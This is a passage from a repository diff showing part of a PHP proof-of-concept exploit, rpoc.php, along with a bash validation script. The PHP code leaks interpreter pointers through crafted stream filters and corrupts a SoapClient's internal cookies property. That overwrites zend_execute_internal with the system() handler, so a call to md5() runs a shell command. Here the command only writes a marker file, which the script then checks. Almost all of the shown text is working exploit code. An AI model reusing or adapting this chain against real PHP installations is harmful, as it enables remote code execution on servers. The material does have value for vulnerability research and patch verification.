||||
fclose($conn);
|
||||
fclose($server);
|
||||
file_put_contents($capturePath, $request);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
function start_server(string $capturePath, string $cookieName): array {
|
||||
for ($attempt = 0; $attempt < 20; $attempt++) {
|
||||
$port = random_int(20000, 55000);
|
||||
$readyPath = sys_get_temp_dir() . '/php857-rce-ready-' . getmypid() . '-' . $attempt;
|
||||
@unlink($readyPath);
|
||||
$cmd = escapeshellarg(PHP_BINARY)
|
||||
. ' -n ' . escapeshellarg(__FILE__)
|
||||
. ' server ' . $port
|
||||
. ' ' . escapeshellarg($readyPath)
|
||||
. ' ' . escapeshellarg($capturePath)
|
||||
. ' ' . escapeshellarg($cookieName);
|
||||
$proc = proc_open($cmd, [
|
||||
0 => ['file', '/dev/null', 'r'],
|
||||
1 => ['pipe', 'w'],
|
||||
2 => ['pipe', 'w'],
|
||||
], $pipes);
|
||||
if (!is_resource($proc)) {
|
||||
continue;
|
||||
}
|
||||
for ($i = 0; $i < 50; $i++) {
|
||||
if (is_file($readyPath)) {
|
||||
$ready = file_get_contents($readyPath);
|
||||
if ($ready === 'ready') {
|
||||
return [$port, $proc, $pipes, $readyPath];
|
||||
}
|
||||
break;
|
||||
}
|
||||
usleep(100000);
|
||||
}
|
||||
proc_terminate($proc);
|
||||
proc_close($proc);
|
||||
}
|
||||
throw new RuntimeException('failed to start local SOAP response server');
|
||||
}
|
||||
|
||||
if (($argv[1] ?? '') === 'server') {
|
||||
http_server((int) $argv[2], $argv[3], $argv[4], $argv[5]);
|
||||
}
|
||||
|
||||
if (!class_exists(SoapClient::class)) {
|
||||
fwrite(STDERR, "soap extension is required\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
$base = php_binary_base();
|
||||
$zendExecuteInternal = $base + ZEND_EXECUTE_INTERNAL_OFF;
|
||||
$zifSystem = $base + ZIF_SYSTEM_OFF;
|
||||
$cookieName = (string) $zifSystem;
|
||||
$fakeArData = $zendExecuteInternal - 16;
|
||||
[$hashMask, $hashSlot, $hashIndex] = select_hash_mask($fakeArData, $zifSystem & 0xffffffff);
|
||||
$markerPath = '/tmp/php857_rce_' . getmypid() . '.txt';
|
||||
$command = 'printf PHP857_RCE > ' . escapeshellarg($markerPath);
|
||||
|
||||
FakeHashFilter::$tag = bin2hex(random_bytes(4));
|
||||
FakeHashFilter::$arData = $fakeArData;
|
||||
FakeHashFilter::$mask = $hashMask;
|
||||
stream_filter_register('rce.fake.leak', FakeHashFilter::class);
|
||||
stream_filter_register('rce.overread', OverreadFilter::class);
|
||||
|
||||
$stage = run_filter('rce.fake.leak');
|
||||
$victimPtr = unpack('Pptr', str_pad(substr($stage, 0, 8), 8, "\0"))['ptr'];
|
||||
OverreadFilter::$fakeStringPointer = $victimPtr + 16;
|
||||
$overread = run_filter('rce.overread');
|
||||
[$fakeMarker, $fakeMarkerOffset, $fakeIndex] = marker_offset($overread, FakeHashFilter::$tag);
|
||||
$fakeMarkerAddress = $victimPtr + PHP_STREAM_BUCKET_TAIL_OFFSET + $fakeMarkerOffset;
|
||||
$fakeHashAddress = $fakeMarkerAddress - FAKE_HT_MARKER_OFFSET;
|
||||
|
||||
printf("php_base=0x%016x\n", $base);
|
||||
printf("zend_execute_internal=0x%016x\n", $zendExecuteInternal);
|
||||
printf("zif_system=0x%016x\n", $zifSystem);
|
||||
printf("numeric_cookie_name=%s\n", $cookieName);
|
||||
printf("fake_arData=0x%016x\n", $fakeArData);
|
||||
printf("hash_slot=0x%016x hash_index=0x%08x hash_mask=0x%08x\n", $hashSlot, $hashIndex, $hashMask);
|
||||
printf("marker_path=%s\n", $markerPath);
|
||||
printf("victim_bucket_ptr=0x%016x\n", $victimPtr);
|
||||
printf("fake_marker=%s index=%d offset=%d\n", $fakeMarker, $fakeIndex, $fakeMarkerOffset);
|
||||
printf("fake_hash_address=0x%016x\n", $fakeHashAddress);
|
||||
fflush(STDOUT);
|
||||
|
||||
$capturePath = sys_get_temp_dir() . '/php857-rce-capture-' . getmypid() . '.txt';
|
||||
@unlink($capturePath);
|
||||
[$port, $proc, $pipes, $readyPath] = start_server($capturePath, $cookieName);
|
||||
|
||||
$client = new SoapClient(null, [
|
||||
'location' => "http://127.0.0.1:$port/",
|
||||
'uri' => 'urn:x',
|
||||
'trace' => true,
|
||||
]);
|
||||
corrupt_property($client, "\0SoapClient\0_cookies", $fakeHashAddress);
|
||||
$client->__soapCall('x', []);
|
||||
echo "overwrite_returned\n";
|
||||
fflush(STDOUT);
|
||||
|
||||
foreach ($pipes as $pipe) {
|
||||
fclose($pipe);
|
||||
}
|
||||
proc_close($proc);
|
||||
@unlink($readyPath);
|
||||
|
||||
$trigger = 'md5';
|
||||
$trigger($command);
|
||||
exit(0);
|
||||
26
php857-streambucket-soap-rce-rpoc/scripts/validate.sh
Normal file
26
php857-streambucket-soap-rce-rpoc/scripts/validate.sh
Normal file
@@ -0,0 +1,26 @@
|
||||
set -euo pipefail
|
||||
|
||||
ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
|
||||
PHP_BIN="${PHP_BIN:-${1:-}}"
|
||||
POC="$ROOT/poc/rpoc.php"
|
||||
LOG="$ROOT/evidence/local-validation.txt"
|
||||
|
||||
if [[ -z "$PHP_BIN" ]]; then
|
||||
echo "usage: PHP_BIN=/path/to/php scripts/validate.sh"
|
||||
echo "usage: scripts/validate.sh /path/to/php"
|
||||
exit 2
|
||||
fi
|
||||
|
||||
mkdir -p "$ROOT/evidence"
|
||||
"$PHP_BIN" -n "$POC" | tee "$LOG"
|
||||
|
||||
MARKER_PATH="$(awk -F= '/^marker_path=/{print $2; exit}' "$LOG")"
|
||||
if [[ -z "$MARKER_PATH" || ! -f "$MARKER_PATH" ]]; then
|
||||
echo "marker_check=missing" | tee -a "$LOG"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
MARKER_CONTENT="$(cat "$MARKER_PATH")"
|
||||
echo "marker_check=present" | tee -a "$LOG"
|
||||
echo "marker_content=$MARKER_CONTENT" | tee -a "$LOG"
|
||||
[[ "$MARKER_CONTENT" == "PHP857_RCE" ]]
|
||||
Reference in New Issue
Block a user